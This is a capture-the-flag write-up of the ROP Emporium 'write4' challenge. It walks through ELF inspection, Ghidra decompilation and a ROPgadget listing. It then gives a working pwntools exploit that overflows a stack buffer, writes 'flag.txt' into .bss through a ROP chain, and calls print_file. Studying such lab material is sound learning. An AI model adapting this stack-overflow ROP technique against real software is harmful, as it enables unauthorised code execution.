As usual an ELF file is given, nothing that special.

$ file write4 
write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped

There’s a shared object file as well.

$ file libwrite4.so 
libwrite4.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=6480d05c301d646a5677805e7226e81b35c23f7d, not stripped

Let’s run checksec, although we barely use any of the information it shows…

$ checksec write4
[*] '/home/hwkim301/rop_emporium/write/write4'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No

Shared libraries are position-independent by default.

$ checksec libwrite4.so
[*] '/home/hwkim301/rop_emporium/write/libwrite4.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

How does file know if the ELF file is an executable or a shared object?

Well, you can run readelf -h on the executable and the share object.

executable

library

Okay, readelf, tells you that an executable is an EXEC and a shared object is a DYN.

It still probably has to parse the actual bytes from the ELF file and determine from that byte whether it’s going to be a EXEC or DYN.

According to wikipedia, the decision is made by the e_type.

diff

Therefore, write4 has to have an e_type of 0x02 since it’s an executable.

On the other hand, libwrite4.so e_type is 0x03.

Got it, but is there a way I can see the actual raw bytes?

To do so you’ll have to use either xxd or hexdump or other tools to view the raw bytes.

Gemini, suggested using xxd -g -2 -l 18 would show the raw bytes.

Here’s the man page for the -g -2 -l 18 flag.

-g bytes | -groupsize bytes
              Separate  the output of every <bytes> bytes (two hex characters or eight bit digits each) by a whitespace.  Specify -g 0 to suppress grouping.  <Bytes> defaults to 2 in nor‐
              mal mode, 4 in little-endian mode and 1 in bits mode.  Grouping does not apply to PostScript or include style.

-l len | -len len
              Stop after writing <len> octets.

xxd -g -2 -l 18 will show the first 18 bytes of the ELF files respectively, printing them by in groups of 2 bytes.

$ xxd -g -2 -l 18 write4 
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200                                 
$ xxd -g -2 -l 18 libwrite4.so 
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300                                     ..

You can see for yourself that at the end there’s the bytes are respectfully 0200 and 0300 at sixteenth~seventeenth byte.

I think the bytes for the ELF files are 0-indexed by the way.

This used to be the ground truth until ELF files weren’t compiled by PIE in the past, but nowadays since ELF files all have PIE enabled.

Thus you can’t just rely on the e_type.

Employed Russian has an explanation about this on stackoverflow.

But for now, we won’t dig into PIE executables.

Now let’s load the binary to ghidra.

The main function is a bit different from the previous levels.

undefined8 main(void)
{
  pwnme();
  return 0;
}

The pwnme function does exist, but it seems to corrupted.

void pwnme(void)
{
                      /* WARNING: Bad instruction - Truncating control flow here */
  halt_baddata();
}

There’s a usefulFunction however it doesn’t look like it does anything meaningful.

void usefulFunction(void)
{
  print_file("nonexistent");
  return;
}

There aren’t any other functions worth checking in the binary, so let’s load the shared object file.

Aha, here’s the pwnme function that we were looking for.

void pwnme(void)
{
  undefined1 local_28 [32];
  
  setvbuf(_stdout,(char *)0x0,2,0);
  puts("write4 by ROP Emporium");
  puts("x86_64\n");
  memset(local_28,0,0x20);
  puts("Go ahead and give me the input already!\n");
  printf("> ");
  read(0,local_28,0x200);
  puts("Thank you!");
  return;
}

The print_file function seems to print the flag.

void print_file(char *param_1)
{
  char local_38 [40];
  FILE *local_10;
  
  local_10 = (FILE *)0x0;
  local_10 = fopen(param_1,"r");
  if (local_10 == (FILE *)0x0) {
    printf("Failed to open file: %s\n",param_1);
                      /* WARNING: Subroutine does not return */
    exit(1);
  }
  fgets(local_38,0x21,local_10);
  puts(local_38);
  fclose(local_10);
  return;
}

According to the website, we need to cleverly manipulate the mov [reg] reg, instructions to write the flag in the ELF file.

$ ROPgadget --binary write4 
Gadgets information
============================================================
0x000000000040057e : adc byte ptr [rax], ah ; jmp rax
0x0000000000400502 : adc cl, byte ptr [rbx] ; and byte ptr [rax], al ; push 0 ; jmp 0x4004f0
0x0000000000400549 : add ah, dh ; nop dword ptr [rax + rax] ; repz ret
0x000000000040061e : add al, bpl ; jmp 0x400621
0x000000000040061f : add al, ch ; jmp 0x400621
0x000000000040054f : add bl, dh ; ret
0x000000000040069d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040069b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400507 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4004f0
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004005fc : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x000000000040069c : add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x00000000004005fd : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400590
0x0000000000400509 : add byte ptr [rax], al ; jmp 0x4004f0
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004005fe : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x000000000040054e : add byte ptr [rax], al ; repz ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; repz ret
0x00000000004005ff : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400590
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400517 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x4004f0
0x00000000004005e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
0x00000000004004e3 : add esp, 8 ; ret
0x00000000004004e2 : add rsp, 8 ; ret
0x0000000000400548 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; repz ret
0x0000000000400504 : and byte ptr [rax], al ; push 0 ; jmp 0x4004f0
0x0000000000400514 : and byte ptr [rax], al ; push 1 ; jmp 0x4004f0
0x00000000004004d9 : and byte ptr [rax], al ; test rax, rax ; je 0x4004e2 ; call rax
0x00000000004006ff : call qword ptr [rax + 1]
0x0000000000400624 : call qword ptr [rax - 0x76b23ca3]
0x0000000000400793 : call qword ptr [rax]
0x00000000004007b3 : call qword ptr [rcx]
0x00000000004004e0 : call rax
0x000000000040067c : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040054a : hlt ; nop dword ptr [rax + rax] ; repz ret
0x0000000000400603 : in eax, 0x5d ; jmp 0x400590
0x000000000040061a : in eax, 0xbf ; mov ah, 6 ; add al, bpl ; jmp 0x400621
0x00000000004004de : je 0x4004e2 ; call rax
0x0000000000400579 : je 0x400588 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004005bb : je 0x4005c8 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004002cc : jmp 0x4002a1
0x000000000040050b : jmp 0x4004f0
0x0000000000400605 : jmp 0x400590
0x0000000000400621 : jmp 0x400621
0x0000000000400289 : jmp 0xffffffffca1caa68
0x00000000004006cf : jmp qword ptr [rax + 0x60000000]
0x00000000004006d7 : jmp qword ptr [rax]
0x00000000004007d3 : jmp qword ptr [rbp]
0x0000000000400581 : jmp rax
0x000000000040061c : mov ah, 6 ; add al, bpl ; jmp 0x400621
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590
0x0000000000400625 : nop ; pop rbp ; ret
0x0000000000400583 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x000000000040054b : nop dword ptr [rax + rax] ; repz ret
0x00000000004005c5 : nop dword ptr [rax] ; pop rbp ; ret
0x00000000004005e5 : or ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400512 : or cl, byte ptr [rbx] ; and byte ptr [rax], al ; push 1 ; jmp 0x4004f0
0x00000000004005e4 : or r12b, byte ptr [r8] ; add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x0000000000400604 : pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400506 : push 0 ; jmp 0x4004f0
0x0000000000400516 : push 1 ; jmp 0x4004f0
0x0000000000400600 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400590
0x0000000000400550 : repz ret
0x00000000004004e6 : ret
0x00000000004004dd : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004004d7 : sbb eax, 0x4800200b ; test eax, eax ; je 0x4004e2 ; call rax
0x00000000004006a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004006a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040069a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x00000000004004dc : test eax, eax ; je 0x4004e2 ; call rax
0x00000000004004db : test rax, rax ; je 0x4004e2 ; call rax
0x0000000000400288 : xchg ecx, eax ; jmp 0xffffffffca1caa68

Unique gadgets found: 90

Which gadgets should we use?

After searching for some writeups online, these are the two gadgets that are necessary.

0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret

Here’s the exploit code.

It looks a bit intimidating, but let’s go through it line by line.

from pwn import *

p = process('./write4')
e = ELF('./write4')
rop = ROP(e)

pop_r14_r15_ret = 0x400690
mov_r14_r15_ret = 0x400628

payload = b'A' * 40
payload += p64(pop_r14_r15_ret)
payload += p64(e.bss())
payload += b'flag.txt'
payload += p64(mov_r14_r15_ret)
payload += p64(rop.find_gadget(['pop rdi']).address)
payload += p64(e.bss())
payload += p64(e.symbols['print_file'])
p.send(payload)
p.interactive()

First send dummy bytes until you reach the saved frame pointer.

Then pop r14 ; pop r15 ; ret, will take the values on the very value stored at the top of stack to the r14 register.

Next, it will save the that was previously right below the top of the stack to the r15 register.

We will pass the executable’s bss address to r14 and a byte string of flag.txt to r15.

What is the bss?

The .bss section is a section in ELF files.

Here’s what the man page says (man elf).

The .bss section stores data that’s uninitialized with 0s when the program starts to run.

bss

Okay, but why do we need to use the .bss section?

Well remember there’s this gadget? mov qword ptr [r14], r15 ; ret.

Right after pop r14 ; pop r15 ; ret executes?

If we pass the address of .bss and flag.txt.

r14 will store the address of .bss and r15 stores flag.txt.

Next, mov qword ptr [r14], r15 ; ret will store flag.txt at the address of r14.

Then, we need to call print_file(flag.txt).

In order to do that, we’ll need to use a pop rdi ret gadget.

We then need to pass the memory address of where flag.txt.

Right before we saved flag.txt to the .bss section with mov qword ptr [r14], r15 ; ret.

So passing the .bss address will load rdi with flag.txt.

Finally we can trigger the print_file function call.

Here’s the result.

$ python solve.py 
[+] Starting local process './write4': pid 9219
[*] '/home/hwkim301/rop_emporium/write/write4'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No
[*] Loaded 13 cached gadgets for './write4'
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$  

I’ve tried modifying the code above using pwntools’ ROP class, but the ROP class couldn’t find mov qword ptr [r14], r15 ; ret.

I guess the only way was to hardcode the address.

Other writeups seem to use the .data section.

What’s the .data section?

Let’s check man elf again.

I didn’t take a screenshot, because the width of the image was too long.

It made it hard to read the description.

.data  This section holds initialized data that contribute to the program's memory image.  

This section is of type SHT_PROGBITS.  The attribute types are SHF_ALLOC and SHF_WRITE.

To summarize the, .bss stores uninitialized data in the ELF file and .data saves the initialized data.

But why did we need to use .bss or .data to save flag.txt?

Use readelf -S to check each section of the ELF file.

$ readelf -S write4 
There are 29 section headers, starting at offset 0x1980:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.bu[...] NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       0000000000000038  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002d0  000002d0
       00000000000000f0  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           00000000004003c0  000003c0
       000000000000007c  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           000000000040043c  0000043c
       0000000000000014  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400450  00000450
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             0000000000400470  00000470
       0000000000000030  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004004a0  000004a0
       0000000000000030  0000000000000018  AI       5    22     8
  [11] .init             PROGBITS         00000000004004d0  000004d0
       0000000000000017  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         00000000004004f0  000004f0
       0000000000000030  0000000000000010  AX       0     0     16
  [13] .text             PROGBITS         0000000000400520  00000520
       0000000000000182  0000000000000000  AX       0     0     16
  [14] .fini             PROGBITS         00000000004006a4  000006a4
       0000000000000009  0000000000000000  AX       0     0     4
  [15] .rodata           PROGBITS         00000000004006b0  000006b0
       0000000000000010  0000000000000000   A       0     0     4
  [16] .eh_frame_hdr     PROGBITS         00000000004006c0  000006c0
       0000000000000044  0000000000000000   A       0     0     4
  [17] .eh_frame         PROGBITS         0000000000400708  00000708
       0000000000000120  0000000000000000   A       0     0     8
  [18] .init_array       INIT_ARRAY       0000000000600df0  00000df0
       0000000000000008  0000000000000008  WA       0     0     8
  [19] .fini_array       FINI_ARRAY       0000000000600df8  00000df8
       0000000000000008  0000000000000008  WA       0     0     8
  [20] .dynamic          DYNAMIC          0000000000600e00  00000e00
       00000000000001f0  0000000000000010  WA       6     0     8
  [21] .got              PROGBITS         0000000000600ff0  00000ff0
       0000000000000010  0000000000000008  WA       0     0     8
  [22] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000028  0000000000000008  WA       0     0     8
  [23] .data             PROGBITS         0000000000601028  00001028
       0000000000000010  0000000000000000  WA       0     0     8
  [24] .bss              NOBITS           0000000000601038  00001038
       0000000000000008  0000000000000000  WA       0     0     1
  [25] .comment          PROGBITS         0000000000000000  00001038
       0000000000000029  0000000000000001  MS       0     0     1
  [26] .symtab           SYMTAB           0000000000000000  00001068
       0000000000000618  0000000000000018          27    46     8
  [27] .strtab           STRTAB           0000000000000000  00001680
       00000000000001f6  0000000000000000           0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  00001876
       0000000000000103  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), l (large), p (processor specific)

The reason why people chose the .bss or .data section is because it’s one of the few section where you can write.

readelf

You might also ask again, that .init_array, .fini_array, .dynamic, .got, .got.plt all have access to write.

That’s correct, but those sections are closely related to program initialization and the dynamic linker.

In conclusion, other than the .bss or .data writing a variable somewhere else isn’t ideal.

Again, that was a lot…